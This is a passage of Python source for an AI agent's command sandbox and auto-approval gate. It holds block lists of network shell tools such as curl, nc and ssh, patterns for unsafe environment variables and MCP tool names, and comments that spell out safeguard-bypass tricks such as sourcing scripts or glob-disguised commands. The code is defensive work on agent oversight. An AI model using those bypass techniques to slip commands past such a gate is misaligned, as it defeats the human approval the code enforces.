|
|
"killall",
|
|
"pkill",
|
|
"passwd",
|
|
"curl",
|
|
"wget",
|
|
"nc",
|
|
"ncat",
|
|
"netcat",
|
|
"socat",
|
|
"ssh",
|
|
"slogin",
|
|
"scp",
|
|
"sftp",
|
|
"rsync",
|
|
"eval",
|
|
"source",
|
|
# `.` is the POSIX synonym for `source`: `. ./script.sh` runs the file's
|
|
# contents in the current shell, past a classifier that never sees them.
|
|
# Matched at command position only, so `find . -type f` / `cd .` are fine.
|
|
".",
|
|
}
|
|
)
|
|
_BLOCKED_COMMANDS_WIN = frozenset(
|
|
{
|
|
"rmdir",
|
|
"takeown",
|
|
"icacls",
|
|
"runas",
|
|
"powershell",
|
|
"pwsh",
|
|
}
|
|
)
|
|
_BLOCKED_COMMANDS = (
|
|
_BLOCKED_COMMANDS_COMMON | _BLOCKED_COMMANDS_WIN
|
|
if sys.platform == "win32"
|
|
else _BLOCKED_COMMANDS_COMMON
|
|
)
|
|
|
|
|
|
_SHELL_SEPARATORS = frozenset({";", "&&", "||", "|", "&", "\n", "(", ")", "`", "{", "}"})
|
|
# Bash keywords starting a new command position (then $cmd, do $cmd, etc.).
|
|
# `if`/`while`/`until` are followed by a CONDITION the shell executes, so a
|
|
# command right after them is at command position (if rm -rf x; then :; fi).
|
|
_SHELL_KEYWORDS_AS_SEP = frozenset({"then", "do", "else", "elif", "if", "while", "until", "!"})
|
|
# Wrappers whose next non-flag argument is the command Bash will exec.
|
|
_COMMAND_PREFIXES = frozenset(
|
|
{
|
|
"env",
|
|
"command",
|
|
"builtin",
|
|
"exec",
|
|
"time",
|
|
"nohup",
|
|
"nice",
|
|
"setsid",
|
|
"stdbuf",
|
|
"timeout",
|
|
"ionice",
|
|
"chroot",
|
|
"setpriv",
|
|
"sudo",
|
|
"doas",
|
|
"su",
|
|
"xargs",
|
|
}
|
|
)
|
|
_ASSIGNMENT_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=")
|
|
# Env-assignment prefixes that change command lookup or code loading, so
|
|
# `LD_PRELOAD=x ls` / `PATH=. ls` run attacker code before the read-only
|
|
# utility. LD_*/DYLD_* and any *PATH are covered by the prefix/suffix check.
|
|
_AUTO_UNSAFE_ENV_ASSIGN = frozenset(
|
|
{
|
|
"IFS",
|
|
"BASH_ENV",
|
|
"ENV",
|
|
"SHELLOPTS",
|
|
"BASHOPTS",
|
|
"GLOBIGNORE",
|
|
"PROMPT_COMMAND",
|
|
"PS4",
|
|
"PYTHONSTARTUP",
|
|
"PYTHONHOME",
|
|
"NODE_OPTIONS",
|
|
"PERL5OPT",
|
|
"PERL5LIB",
|
|
"RUBYOPT",
|
|
"RUBYLIB",
|
|
# LESSOPEN/LESSCLOSE run an input preprocessor command for less.
|
|
"LESSOPEN",
|
|
"LESSCLOSE",
|
|
}
|
|
)
|
|
|
|
|
|
# A search-path entry that can shadow a real binary or module: absolute, home or
|
|
# a parent escape. A relative entry (`PYTHONPATH=src`) points inside the session
|
|
# workdir, the agent's own directory, and is the common spelling in ordinary work.
|
|
_PATH_ENTRY_ESCAPES_RE = re.compile(r"(?:^|:)\s*(?:/|~|\$|[A-Za-z]:[\\/]|\.\.)")
|
|
|
|
|
|
def _env_assignment_is_unsafe(name: str, value: str = "") -> bool:
|
|
"""True if a NAME=value prefix affects command lookup/loading."""
|
|
if name in _AUTO_UNSAFE_ENV_ASSIGN or name.startswith(("LD_", "DYLD_")):
|
|
return True
|
|
if name == "PATH":
|
|
# Every value counts: PATH picks the BINARY, and a relative entry is the
|
|
# sharpest form of that (`PATH=. ls` runs ./ls).
|
|
return True
|
|
# The other search paths (PYTHONPATH, NODE_PATH, ...) only shadow a real
|
|
# module when the entry escapes the workdir.
|
|
return name.endswith("PATH") and bool(_PATH_ENTRY_ESCAPES_RE.search(value))
|
|
|
|
|
|
# Container CLIs start or reach into a container (docker run -v /:/host), but
|
|
# their read subcommands are ordinary inspection and must not interrupt. An
|
|
# unrecognised subcommand still asks, so the list can only be too small.
|
|
_CONTAINER_CLIS = frozenset({"docker", "podman", "nerdctl", "ctr", "crictl", "lxc", "kubectl"})
|
|
_CONTAINER_READ_SUBCOMMANDS = frozenset(
|
|
{
|
|
"ps",
|
|
"images",
|
|
"logs",
|
|
"inspect",
|
|
"version",
|
|
"info",
|
|
"stats",
|
|
"top",
|
|
"port",
|
|
"diff",
|
|
"history",
|
|
"search",
|
|
"events",
|
|
"ls",
|
|
"list",
|
|
"get",
|
|
"describe",
|
|
"df",
|
|
"help",
|
|
"explain",
|
|
"api-resources",
|
|
"api-versions",
|
|
}
|
|
)
|
|
# Windows `if exist FILE cmd` / `if defined VAR cmd` put an operand between the
|
|
# keyword and the command, so the command word is two tokens along.
|
|
# awk runs its program text, which can shell out through the system() builtin
|
|
# or by piping to a shell ("cmd" | "sh"). Screening the program keeps ordinary
|
|
# field work (awk '{print $1}') running while the escape hatches ask.
|
|
_AWK_COMMANDS = frozenset({"awk", "gawk", "mawk", "nawk", "busybox-awk"})
|
|
_AWK_SHELL_ESCAPE_RE = re.compile(
|
|
r"\bsystem\s*\(|\|\s*&?\s*[\"']\s*(?:/\S*/)?(?:sh|bash|zsh|ksh|dash|cmd)\b|"
|
|
r"\bENVIRON\s*\[|\bprintf\s*\|"
|
|
)
|
|
_WIN_CONDITIONAL_KEYWORDS = frozenset({"exist", "defined", "errorlevel", "not"})
|
|
_FIND_EXEC_FLAGS = frozenset({"-exec", "-execdir", "-ok", "-okdir"})
|
|
|
|
# `[` and `[[` are the test builtins, not patterns.
|
|
_TEST_BUILTINS = frozenset({"[", "[[", "]", "]]"})
|
|
|
|
|
|
def _is_unresolved_command_glob(base: str) -> bool:
|
|
"""Whether a command word is a glob bash expands to some other name
|
|
(`/bin/r[m]` runs rm). A pattern with no literal character (a bare `*`) is
|
|
not one, and the test builtins are not patterns."""
|
|
if base in _TEST_BUILTINS or not any(ch in base for ch in "*?["):
|
|
return False
|
|
return any(ch.isalnum() for ch in base)
|
|
|
|
|
|
def _blocked_matching_glob(base: str) -> "set[str]":
|
|
"""Blocked command names a command-position glob can expand to."""
|
|
if not _is_unresolved_command_glob(base):
|
|
return set()
|
|
return {name for name in _BLOCKED_COMMANDS if fnmatch.fnmatchcase(name, base)}
|
|
|
|
|
|
def _find_blocked_commands(command: str) -> set[str]:
|
|
"""Detect blocked commands at shell command position only.
|
|
|
|
A token is at command position if it is the first token, or follows a
|
|
shell separator / brace-group opener / new-command keyword (`then`, `do`,
|
|
etc.), or a command-prefix wrapper like `env` / `time` / `xargs` (next
|
|
token is the real command). Tokens in argument position (`grep -r curl .`,
|
|
`echo source the data`, `ls /usr/bin/curl`) pass through. Also scans
|
|
`find ... -exec CMD` and recurses into bash -c / cmd /c.
|
|
"""
|
|
blocked: set[str] = set()
|
|
|
|
# Decode ANSI-C quoting first ($'ssh' -> ssh) so a blocked name hidden behind
|
|
# it is still detected at command position.
|
|
command = _decode_ansi_c(command, keep_one_word = True)
|
|
|
|
# punctuation_chars splits separators into their own tokens, so command
|
|
# position is detected even in `echo done; rm -rf x` (no whitespace).
|
|
try:
|
|
if sys.platform == "win32":
|
|
tokens = shlex.split(command, posix = False)
|
|
else:
|
|
lexer = shlex.shlex(command, posix = True, punctuation_chars = ";&|()`")
|
|
lexer.whitespace_split = True
|
|
tokens = list(lexer)
|
|
except ValueError:
|
|
tokens = command.split()
|
|
|
|
def _token_basename(tok: str) -> str:
|
|
# Strip glued-on meta-chars (`rm;`) so the basename still matches `rm`.
|
|
tok = tok.strip(";&|()`{}")
|
|
base = os.path.basename(tok).lower()
|
|
stem, ext = os.path.splitext(base)
|
|
if ext in {".exe", ".com", ".bat", ".cmd"}:
|
|
base = stem
|
|
return base
|
|
|
|
expect_command = True # start of string is a command position
|
|
prefix_pending = False # last cmd-position token was a wrapper (env/time/xargs/...)
|
|
skip_operand = False # consume a wrapper/conditional operand, not the command
|
|
for token in tokens:
|
|
if skip_operand:
|
|
# `exec -a NAME cmd` and `if exist FILE cmd` both put an operand
|
|
# where the command word would otherwise be.
|
|
skip_operand = False
|
|
continue
|
|
if expect_command and token.lower() in _WIN_CONDITIONAL_KEYWORDS:
|
|
skip_operand = token.lower() != "not"
|
|
continue
|
|
if prefix_pending and token == "-a":
|
|
skip_operand = True
|
|
continue
|
|
# A keyword only separates where a COMMAND may start (see below).
|
|
if token in _SHELL_SEPARATORS or (token in _SHELL_KEYWORDS_AS_SEP and expect_command):
|
|
expect_command = True
|
|
prefix_pending = False
|
|
continue
|
|
if token.startswith("-"):
|
|
# Flags belong to the active command, but keep expect_command while a
|
|
# wrapper prefix awaits its command (`stdbuf -oL cmd`, `xargs -- cmd`).
|
|
if not prefix_pending:
|
|
expect_command = False
|
|
continue
|
|
if not expect_command:
|
|
continue
|
|
# A redirection may precede the command word (`</dev/null rm -rf x`).
|
|
if _REDIR_PREFIX_RE.match(token):
|
|
continue
|
|
# FOO=bar assignment prefix; next non-assignment token is the command.
|
|
if _ASSIGNMENT_RE.match(token):
|
|
continue
|
|
# Numeric wrapper arg: `timeout 1 cmd` / `nice -n 5 cmd`.
|
|
if prefix_pending and token.lstrip("-").isdigit():
|
|
continue
|
|
base = _token_basename(token)
|
|
if base in _BLOCKED_COMMANDS:
|
|
blocked.add(base)
|
|
else:
|
|
blocked |= _blocked_matching_glob(base)
|
|
# Wrappers (env/time/xargs/sudo) consume one command; the next non-flag,
|
|
# non-numeric token is the real command. sudo is also in _BLOCKED_COMMANDS.
|
|
if base in _COMMAND_PREFIXES:
|
|
prefix_pending = True
|
|
continue
|
|
expect_command = False
|
|
prefix_pending = False
|
|
|
|
# `alias zap='rm -rf'` stores a command bash runs when the alias is invoked,
|
|
# so the body is scanned as a command in its own right.
|
|
for i, tok in enumerate(tokens):
|
|
if _token_basename(tok) != "alias":
|
|
continue
|
|
for nxt in tokens[i + 1 :]:
|
|
if nxt in _SHELL_SEPARATORS:
|
|
break
|
|
_name, _sep, _value = nxt.partition("=")
|
|
if _sep and _value:
|
|
blocked |= _find_blocked_commands(_value)
|
|
|
|
# `find ... -exec CMD ... ;` and `-execdir CMD ... ;` invoke CMD directly.
|
|
for i, tok in enumerate(tokens):
|
|
# The long flags carry the command attached (fd --exec=rm). Only the long
|
|
# spellings: a short `-x` belongs to too many other utilities (grep -x rm
|
|
# file) to read its neighbour as a command.
|
|
if "=" in tok and tok.split("=", 1)[0] in _ATTACHED_EXEC_FLAGS:
|
|
attached = tok.split("=", 1)[1].strip("\"'")
|
|
if attached:
|
|
attached_base = _token_basename(attached.split()[0])
|
|
if attached_base in _BLOCKED_COMMANDS:
|
|
blocked.add(attached_base)
|
|
else:
|
|
blocked |= _blocked_matching_glob(attached_base)
|
|
if tok in _FIND_EXEC_FLAGS and i + 1 < len(tokens):
|
|
base = _token_basename(tokens[i + 1])
|
|
if base in _BLOCKED_COMMANDS:
|
|
blocked.add(base)
|
|
else:
|
|
blocked |= _blocked_matching_glob(base)
|
|
|
|
# Regex catches blocked words at command boundaries shlex misses: inside
|
|
# $(rm -rf), <(rm), backtick chains, or "foo;rm". Anchored to command-position
|
|
# delimiters, so it doesn't match in argument position.
|
|
lowered = command.lower()
|
|
if _BLOCKED_COMMANDS:
|
|
words_alt = "|".join(re.escape(w) for w in sorted(_BLOCKED_COMMANDS))
|
|
pattern = (
|
|
rf"(?:^|[;&|`\n(]\s*|[$]\(\s*|<\(\s*)"
|
|
rf"(?:[\w./\\-]*/|[a-zA-Z]:[/\\][\w./\\-]*)?"
|
|
rf"({words_alt})(?:\.(?:exe|com|bat|cmd))?\b"
|
|
)
|
|
blocked.update(re.findall(pattern, lowered))
|
|
|
|
# Nested shell invocations (bash -c '...', bash -lc '...', cmd /c '...'):
|
|
# on a -c/-/c flag, look back for a shell name (skipping flags) and
|
|
# recursively scan the nested command string.
|
|
_SHELLS = {"bash", "sh", "zsh", "dash", "ksh", "csh", "tcsh", "fish"}
|
|
_SHELLS_WIN = {"cmd", "cmd.exe"}
|
|
for i, token in enumerate(tokens):
|
|
tok_lower = token.lower()
|
|
# Match -c exactly, or combined flags ending in c (e.g. -lc, -xc)
|
|
is_unix_c = tok_lower == "-c" or (
|
|
tok_lower.startswith("-") and tok_lower.endswith("c") and not tok_lower.startswith("--")
|
|
)
|
|
is_win_c = tok_lower == "/c"
|
|
if not (is_unix_c or is_win_c) or i < 1 or i + 1 >= len(tokens):
|
|
continue
|
|
# Look back past flags for the shell binary. Windows flags and absolute
|
|
# paths both start with /, so only skip short /X flags (not /bin/bash).
|
|
for j in range(i - 1, -1, -1):
|
|
prev = tokens[j]
|
|
if prev.startswith("-"):
|
|
continue # skip Unix flags like --login, -l
|
|
if is_win_c and prev.startswith("/") and len(prev) <= 3:
|
|
continue # skip Windows flags like /s, /q (not /bin/bash)
|
|
prev_base = os.path.basename(prev).lower()
|
|
if is_unix_c and prev_base in _SHELLS:
|
|
blocked |= _find_blocked_commands(tokens[i + 1])
|
|
elif is_win_c and prev_base in _SHELLS_WIN:
|
|
blocked |= _find_blocked_commands(tokens[i + 1])
|
|
break # stop at first non-flag token
|
|
|
|
return blocked
|
|
|
|
|
|
# Directory holding the sandbox ``sitecustomize.py`` shim (code-interpreter
|
|
# path remap); placed on the sandboxed child's PYTHONPATH in _build_safe_env.
|
|
_SANDBOX_SITE_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sandbox_site")
|
|
|
|
# ── "Approve for me" (permission_mode="auto") safety detection ──────────────
|
|
# Auto mode pauses only calls classified here as potentially unsafe. The sandbox
|
|
# and hard blocks (blocklist, rlimits) still apply at run time; this gate only
|
|
# decides prompting, and fails closed: anything not provably read-only asks.
|
|
|
|
# Read-only commands allowed to run without confirmation in auto mode.
|
|
_AUTO_SAFE_TERMINAL_COMMANDS = frozenset(
|
|
{
|
|
"ls",
|
|
"dir",
|
|
"pwd",
|
|
# cd absent: `cd /; cat etc/passwd` escapes the workdir for a later
|
|
# relative read the path scan cannot see, so cd always asks.
|
|
"cat",
|
|
"head",
|
|
"tail",
|
|
# less/more absent: their pager escapes (+cmd, !shell, -o, LESSOPEN) can
|
|
# run a command or write a file, so they always ask.
|
|
"grep",
|
|
"egrep",
|
|
"fgrep",
|
|
"rg",
|
|
"find",
|
|
"fd",
|
|
"wc",
|
|
"sort",
|
|
"uniq",
|
|
"cut",
|
|
"tr",
|
|
"diff",
|
|
"cmp",
|
|
"file",
|
|
"stat",
|
|
"du",
|
|
"df",
|
|
# ps absent: BSD env flags (ps auxe, ps eww) dump a parent's unscrubbed
|
|
# env and can't be flag-parsed reliably, so ps always asks.
|
|
"date",
|
|
"cal",
|
|
"whoami",
|
|
"id",
|
|
"uname",
|
|
"hostname",
|
|
"uptime",
|
|
"which",
|
|
"whereis",
|
|
"type",
|
|
"basename",
|
|
"dirname",
|
|
"realpath",
|
|
"readlink",
|
|
"md5",
|
|
"md5sum",
|
|
"shasum",
|
|
"sha1sum",
|
|
"sha256sum",
|
|
"cksum",
|
|
"tree",
|
|
"printenv",
|
|
"echo",
|
|
"printf",
|
|
"true",
|
|
"false",
|
|
"test",
|
|
"[",
|
|
"seq",
|
|
"nl",
|
|
"od",
|
|
"xxd",
|
|
"hexdump",
|
|
"strings",
|
|
"column",
|
|
"paste",
|
|
"join",
|
|
"comm",
|
|
"expand",
|
|
"unexpand",
|
|
"fold",
|
|
"fmt",
|
|
"rev",
|
|
"tac",
|
|
"locale",
|
|
"arch",
|
|
"nproc",
|
|
"sw_vers",
|
|
"jq",
|
|
}
|
|
)
|
|
# Flags that turn an otherwise read-only command into a writer or executor
|
|
# (sort -o FILE, tree -o FILE, xxd -r IN OUT, find -exec/-delete/...).
|
|
_AUTO_UNSAFE_COMMAND_FLAGS = {
|
|
# --files0-from=F makes sort read the NUL-separated list of input files
|
|
# named in F, so a crafted list reads arbitrary host files indirectly.
|
|
"sort": frozenset(
|
|
{"-o", "--output", "--compress-program", "-T", "--temporary-directory", "--files0-from"}
|
|
),
|
|
"tree": frozenset({"-o"}),
|
|
"xxd": frozenset({"-r"}),
|
|
# -c/--check makes a checksum tool read a manifest file and then read every
|
|
# path it names, so a manifest listing /etc/passwd turns `sha256sum -c list`
|
|
# into an indirect host-file read; the digest form (sha256sum file) only reads
|
|
# the named files.
|
|
"md5sum": frozenset({"-c", "--check"}),
|
|
"sha1sum": frozenset({"-c", "--check"}),
|
|
"sha256sum": frozenset({"-c", "--check"}),
|
|
"shasum": frozenset({"-c", "--check"}),
|
|
"cksum": frozenset({"-c", "--check"}),
|
|
# GNU time -o/--output/-a/--append FILE writes timing output; time is a
|
|
# wrapper, so the flag is checked before the wrapped command like env -C.
|
|
"time": frozenset({"-o", "--output", "-a", "--append"}),
|
|
# rg runs an arbitrary program per file with --pre/--hostname-bin.
|
|
"rg": frozenset({"--pre", "--hostname-bin"}),
|
|
# env -C/--chdir escapes the workdir; -S/--split-string builds a command.
|
|
"env": frozenset({"-C", "--chdir", "-S", "--split-string"}),
|
|
# ionice -p/-P/-u change the I/O priority of an already running process /
|
|
# group / user instead of forwarding to a wrapped read-only command, so a
|
|
# bare `ionice -c 3 -p <pid>` mutates another process. ionice stays a safe
|
|
# wrapper for `ionice -c 3 <cmd>`; only the process-target flags ask.
|
|
"ionice": frozenset({"-p", "-P", "-u"}),
|
|
# printf -v NAME assigns to a shell var, so `printf -v PATH %s .; ls` runs
|
|
# ./ls from the workdir.
|
|
"printf": frozenset({"-v"}),
|
|
# wc/du/find --files0-from=F read the NUL-separated list of input paths named
|
|
# in F, so a crafted list reads arbitrary host files past the literal path /
|
|
# root checks, like sort --files0-from. find spells it -files0-from (a primary).
|
|
"wc": frozenset({"--files0-from"}),
|
|
"du": frozenset({"--files0-from"}),
|
|
"find": frozenset(
|
|
{
|
|
"-exec",
|
|
"-execdir",
|
|
"-ok",
|
|
"-okdir",
|
|
"-delete",
|
|
"-fprint",
|
|
"-fprint0",
|
|
"-fprintf",
|
|
"-fls",
|
|
"-files0-from",
|
|
}
|
|
),
|
|
# fd -x/--exec/-X/--exec-batch run a command per result;
|
|
# --base-directory/--search-path move the search root outside the workdir.
|
|
"fd": frozenset({"-x", "--exec", "-X", "--exec-batch", "--base-directory", "--search-path"}),
|
|
# date -s/--set writes the clock; display forms (+FORMAT, -d/-u/-R/-r) read.
|
|
"date": frozenset({"-s", "--set"}),
|
|
# file -C/--compile writes a compiled .mgc magic database; ident forms read.
|
|
"file": frozenset({"-C", "--compile"}),
|
|
# hostname -F/--file, -b/--boot set the hostname; display flags only read.
|
|
"hostname": frozenset({"-F", "--file", "-b", "--boot"}),
|
|
}
|
|
# Commands safe only without a mutating positional: `hostname NAME` sets the
|
|
# hostname, `date MMDDhhmm...` sets the clock (a +FORMAT token or a display
|
|
# flag's value stays read-only), so any other positional asks.
|
|
_AUTO_ARG_SENSITIVE_COMMANDS = frozenset({"hostname", "date"})
|
|
# date display flags taking a value token (-d STRING, -r FILE, -f FILE); the
|
|
# value is not a clock-setting positional, so it is skipped.
|
|
_DATE_DISPLAY_VALUE_FLAGS = frozenset({"-d", "--date", "-r", "--reference", "-f", "--file"})
|
|
# Commands that write their 2nd positional (uniq [INPUT [OUTPUT]], xxd [infile
|
|
# [outfile]]): the 1st file reads to stdout, but a second file positional
|
|
# overwrites it, like `sort -o`.
|
|
_AUTO_SECOND_POSITIONAL_WRITES = frozenset({"uniq", "xxd"})
|
|
# Value-taking option flags for those commands whose argument is a separate token
|
|
# (uniq -f 2, xxd -c 16). The value must be consumed so a numeric option value is
|
|
# not miscounted as the output-file positional, and, conversely, a file that is
|
|
# literally named with digits (uniq 123 out) is still counted.
|
|
_SECOND_POSITIONAL_VALUE_FLAGS = {
|
|
"uniq": frozenset({"-f", "--skip-fields", "-s", "--skip-chars", "-w", "--check-chars"}),
|
|
"xxd": frozenset(
|
|
{"-c", "--cols", "-s", "--seek", "-l", "--len", "-g", "--groupsize", "-o", "--offset"}
|
|
),
|
|
}
|
|
# find/fd group with (...) which resets command context, so scan every token for
|
|
# these once find/fd appears anywhere.
|
|
_AUTO_UNSAFE_FIND_LIKE_FLAGS = _AUTO_UNSAFE_COMMAND_FLAGS["find"] | _AUTO_UNSAFE_COMMAND_FLAGS["fd"]
|
|
# Recursive readers with an absolute-path target escape the workdir onto host
|
|
# files (grep -R TOKEN /home, rg TOKEN /), so they ask.
|
|
_AUTO_RECURSIVE_SEARCH = frozenset({"grep", "egrep", "fgrep", "rg", "ug", "find", "fd"})
|
|
# Directory walkers that always recurse (tree /home, du /) read the whole host
|
|
# subtree under an absolute/tilde root, like a recursive search. ls only recurses
|
|
# with -R/--recursive, so it is gated separately when that flag is present.
|
|
_AUTO_RECURSIVE_LISTERS = frozenset({"tree", "du"})
|
|
# Benign wrappers: safe AND forward command position to their target (checked in
|
|
# turn). sudo/su/chroot/etc. are absent, so they classify as unsafe. xargs is
|
|
# absent too: it appends arguments read from stdin that this scan never sees, so
|
|
# `echo -o out /etc/passwd | xargs sort` forwards to `sort -o out /etc/passwd`
|
|
# (a write + sensitive read) while only the allow-listed literals are visible.
|
|
# setsid/exec/builtin forward to a child command just like env/nohup, so
|
|
# classification continues at the child rather than stopping at the wrapper.
|
|
_AUTO_SAFE_WRAPPERS = frozenset(
|
|
{
|
|
"env",
|
|
"command",
|
|
"builtin",
|
|
"exec",
|
|
"time",
|
|
"timeout",
|
|
"nice",
|
|
"ionice",
|
|
"stdbuf",
|
|
"nohup",
|
|
"setsid",
|
|
}
|
|
)
|
|
|
|
# MCP tools whose names look read-only auto-run; anything else asks.
|
|
_AUTO_SAFE_MCP_TOOL_RE = re.compile(
|
|
r"^(get|list|search|read|fetch|query|find|describe|show|view|lookup|"
|
|
r"retrieve|count|status|info|help|check)(?:[_\-].*)?$",
|
|
re.IGNORECASE,
|
|
)
|
|
# A mutating verb anywhere in the name overrides a read-only prefix, so a
|
|
# compound name like get_or_create_issue or read_and_delete_file still asks.
|
|
_AUTO_UNSAFE_MCP_VERB_RE = re.compile(
|
|
r"(?:^|[_\-])(?:create|update|delete|remove|write|set|add|send|post|put|"
|
|
r"patch|insert|drop|kill|exec|execute|run|deploy|publish|move|rename|edit|"
|
|
r"modify|upload|replace|revoke|grant|approve|merge|close|cancel|pay|"
|
|
r"transfer|buy|sell|reset|clear|purge|destroy|terminate|revert|rollback|"
|
|
r"trigger|enable|disable|install|uninstall|restart|stop|start|"
|
|
r"save|archive|submit|commit|push|sync|register|"
|
|
r"clone|checkout|comment|fork|tag|invite|share|append|prepend|"
|
|
r"copy|duplicate|import|export|download|backup|restore|snapshot|mirror|"
|
|
r"upsert|assign|mark|subscribe|unsubscribe|reply|notify)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# A read-named MCP tool that returns a secret is still a sensitive read, so a
|
|
# credential noun anywhere in the name (read_secret, list_tokens,
|
|
# get_credentials, fetch_api_key) asks even without a mutating verb or a path/SQL
|
|
# argument. Scoped nouns (api/access/private/... _key) avoid flagging benign
|
|
# keys like a primary_key or keyboard lookup.
|
|
_AUTO_SENSITIVE_MCP_NOUN_RE = re.compile(
|
|
r"(?:^|[_\-])(?:"
|
|
r"secret|token|credential|password|passwd|passphrase|apikey|"
|
|
r"(?:api|access|private|secret|signing|encryption|auth|session)[_\-]?keys?"
|
|
r")s?(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# Split a camelCase boundary with an underscore (runCommand -> run_Command) so
|
|
# the term-boundary MCP regexes match camelCase tool names too.
|
|
_CAMEL_CASE_RE = re.compile(r"(?<=[a-z0-9])(?=[A-Z])")
|
|
# A name that reads (get_release, search_code, list_invoices) names its SUBJECT,
|
|
# not the action, so the impact and runtime-noun patterns below must not fire on
|
|
# it, or the everyday read tools of every server would prompt.
|
|
_AUTO_READ_MCP_VERB_RE = re.compile(
|
|
r"(?:^|[_\-])(?:get|list|read|search|find|fetch|query|describe|show|view|"
|
|
r"inspect|status|info|count|exists|lookup|browse|preview|download|export|"
|
|
r"history|log|logs|diff|compare|summarize|summarise)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# The runtime nouns alone (python, code, script, notebook) name a subject as
|
|
# often as an action, so they only count when nothing reads.
|
|
_AUTO_EXEC_MCP_VERB_ONLY_RE = re.compile(
|
|
r"(?:^|[_\-])(?:exec|execute|run|eval|spawn|invoke|launch|shell|bash|zsh|"
|
|
r"powershell|pwsh|terminal|subprocess|interpreter)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
_AUTO_EXEC_MCP_RUNTIME_NOUN_RE = re.compile(
|
|
r"(?:^|[_\-])(?:python[0-9.]*|node|nodejs|deno|bun|ruby|perl|php|code|"
|
|
r"script|repl|sandbox|notebook)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# An MCP tool that runs arbitrary commands/code (run_command, eval_code, bash)
|
|
# is as unsafe as a terminal call and runs on the server, outside the terminal
|
|
# sandbox, so auto gates it. Whole name segments only, so get_command and
|
|
# list_shells stay read.
|
|
_AUTO_EXEC_MCP_TOOL_RE = re.compile(
|
|
r"(?:^|[_\-])(?:"
|
|
r"exec|execute|run|eval|spawn|invoke|launch|"
|
|
r"shell|bash|zsh|powershell|pwsh|terminal|subprocess|interpreter|"
|
|
# A bare runtime name (mcp__srv__python, __node, __code) is an execution
|
|
# tool even without a verb: its payload runs on the MCP server.
|
|
r"python[0-9.]*|node|nodejs|deno|bun|ruby|perl|php|code|script|repl|sandbox|notebook"
|
|
r")(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# A destructive verb as a whole name segment: an honestly-named MCP tool
|
|
# (delete_file, delete_repo, drop_table, purge_index) runs outside the terminal
|
|
# sandbox and causes data loss, so auto prompts on it even when the arguments
|
|
# carry no SQL/HTTP mutation marker. Non-destructive mutations (create/update/
|
|
# add/set/insert/patch) still run; a read that merely contains one of these as
|
|
# a substring (undelete, list_removed) does not match on the segment boundary.
|
|
_AUTO_DESTRUCTIVE_MCP_VERB_RE = re.compile(
|
|
r"(?:^|[_\-])(?:"
|
|
r"delete|destroy|drop|purge|wipe|truncate|erase|remove|unlink|"
|
|
r"teardown|revoke|terminate|uninstall|clear|reset|empty|flush|prune|expire"
|
|
r")(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# A name without separators (mcp__srv__runcommand, __shellexec) never reaches the
|
|
# segment boundaries above, so match the verb+object compounds directly.
|
|
_MCP_EXEC_VERBS = r"execute|exec|run|eval|spawn|invoke|launch|start"
|
|
_MCP_EXEC_OBJECTS = r"command|cmd|shell|script|code|process|program|bash|terminal|proc|task|job"
|
|
_AUTO_EXEC_MCP_COMPOUND_RE = re.compile(
|
|
r"(?:^|[_\-])(?:"
|
|
rf"(?:{_MCP_EXEC_VERBS})(?:{_MCP_EXEC_OBJECTS})"
|
|
rf"|(?:{_MCP_EXEC_OBJECTS})(?:{_MCP_EXEC_VERBS})"
|
|
r")(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# The verbs an MCP tool name may carry and still run without a prompt: reads, and
|
|
# ordinary writes that create or edit a record. Destructive, privilege and
|
|
# money-moving verbs are caught by the patterns above before this is consulted.
|
|
_AUTO_KNOWN_MCP_VERBS = frozenset(
|
|
{
|
|
# read / inspect
|
|
"get",
|
|
"list",
|
|
"read",
|
|
"search",
|
|
"find",
|
|
"fetch",
|
|
"query",
|
|
"describe",
|
|
"show",
|
|
"view",
|
|
"inspect",
|
|
"status",
|
|
"info",
|
|
"count",
|
|
"exists",
|
|
"resolve",
|
|
"lookup",
|
|
"browse",
|
|
"diff",
|
|
"log",
|
|
"logs",
|
|
"history",
|
|
"summarize",
|
|
"summarise",
|
|
"analyze",
|
|
"analyse",
|
|
"validate",
|
|
"check",
|
|
"test",
|
|
"ping",
|
|
"preview",
|
|
"head",
|
|
"stat",
|
|
"download",
|
|
"export",
|
|
"render",
|
|
"format",
|
|
"parse",
|
|
"compare",
|
|
"explain",
|
|
"select",
|
|
"retrieve",
|
|
"audit",
|
|
"review",
|
|
"monitor",
|
|
"trace",
|
|
"profile",
|
|
"benchmark",
|
|
"lint",
|
|
"detect",
|
|
"classify",
|
|
"rank",
|
|
"score",
|
|
"predict",
|
|
"infer",
|
|
"evaluate",
|
|
# ordinary writes
|
|
"create",
|
|
"add",
|
|
"insert",
|
|
"update",
|
|
"edit",
|
|
"modify",
|
|
"set",
|
|
"put",
|
|
"patch",
|
|
"post",
|
|
"send",
|
|
"write",
|
|
"append",
|
|
"upload",
|
|
"comment",
|
|
"assign",
|
|
"label",
|
|
"tag",
|
|
"move",
|
|
"rename",
|
|
"copy",
|
|
"clone",
|
|
"sync",
|
|
"merge",
|
|
"close",
|
|
"reopen",
|
|
"open",
|
|
"start",
|
|
"stop",
|
|
"pause",
|
|
"resume",
|
|
"cancel",
|
|
"schedule",
|
|
"notify",
|
|
"register",
|
|
"save",
|
|
"store",
|
|
"apply",
|
|
"submit",
|
|
"request",
|
|
"generate",
|
|
"convert",
|
|
"translate",
|
|
"complete",
|
|
"index",
|
|
"ingest",
|
|
"embed",
|
|
"train",
|
|
"call",
|
|
"load",
|
|
"init",
|
|
"configure",
|
|
"config",
|
|
"upsert",
|
|
"retry",
|
|
"replay",
|
|
"approve",
|
|
"reject",
|
|
"acknowledge",
|
|
"annotate",
|
|
"draft",
|
|
"subscribe",
|
|
"watch",
|
|
"listen",
|
|
"poll",
|
|
"wait",
|
|
"sleep",
|
|
# browser / ui drivers
|
|
"navigate",
|
|
"click",
|
|
"type",
|
|
"scroll",
|
|
"hover",
|
|
"press",
|
|
"screenshot",
|
|
"capture",
|
|
"snapshot",
|
|
"extract",
|
|
"crawl",
|
|
"scrape",
|
|
"fill",
|
